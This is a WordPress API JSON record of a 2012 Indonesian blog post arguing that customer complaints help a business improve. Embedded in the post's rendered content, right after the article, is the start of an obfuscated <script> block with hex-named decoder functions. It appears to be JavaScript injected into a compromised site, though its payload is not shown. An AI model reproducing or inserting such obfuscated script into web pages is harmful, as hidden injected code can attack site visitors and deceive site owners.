{"id":628,"date":"2012-11-27T15:19:34","date_gmt":"2012-11-27T15:19:34","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=628"},"modified":"2012-11-27T15:19:34","modified_gmt":"2012-11-27T15:19:34","slug":"komplain-sebagai-pendorong-kemajuan-usaha","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/komplain-sebagai-pendorong-kemajuan-usaha\/","title":{"rendered":"Komplain sebagai Pendorong Kemajuan Usaha"},"content":{"rendered":"<p>Banyak orang mengabaikan komplain pelanggan dan menganggap komplain atau keluhan pelangan sebagai sesuatu yang meribetkan. Namun sebenarnya keluhan atau komplain pelangan bisa menjadi\u00a0<strong>pendorong sebuah usaha lebih maju<\/strong>\u00a0dan berkembang. Keluhan pelanggan merupakan relfeksi harapan pelanggan terhadap produk yang tidak sesuai dengan harapan. Kesenjangan harapan dan kenyataan inilah yang menimbulkan masalah bagi pelanggan.<\/p>\n<p>Jika keluhan pelanggan ini bisa direspon positif sebagai masukan, lalu sebagai bahan untuk melakukan perbaikan, niscaya sebuah usaha akan mengalami perkembangan dan kemajuan sesuai harapan pelanggan. Imbasnya pelanggan puas dan semakin banyak yang menjadi pelanggan.<\/p>\n<p>Jadi sudah saatnya kita tidak alergi dengan keluhan pelanggan, tetapi dilihat dari sisi positifnya, jika harapan terpenuhi maka keuntungan juga akan kembali ke pengusaha juga.<strong>(\/antaranews)<\/strong><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Namun sebenarnya keluhan atau komplain pelangan bisa menjadi\u00a0pendorong sebuah usaha lebih maju\u00a0dan berkembang. Keluhan pelanggan merupakan relfeksi harapan pelanggan terhadap produk yang tidak sesuai dengan harapan. Kesenjangan harapan dan kenyataan inilah yang menimbulkan masalah bagi pelanggan. Jika keluhan pelanggan ini [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[90],"tags":[],"class_list":["post-628","post","type-post","status-publish","format-standard","hentry","category-strategi-bisnis"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/628","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=628"}],"version-history":[{"count":0,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/628\/revisions"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=628"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}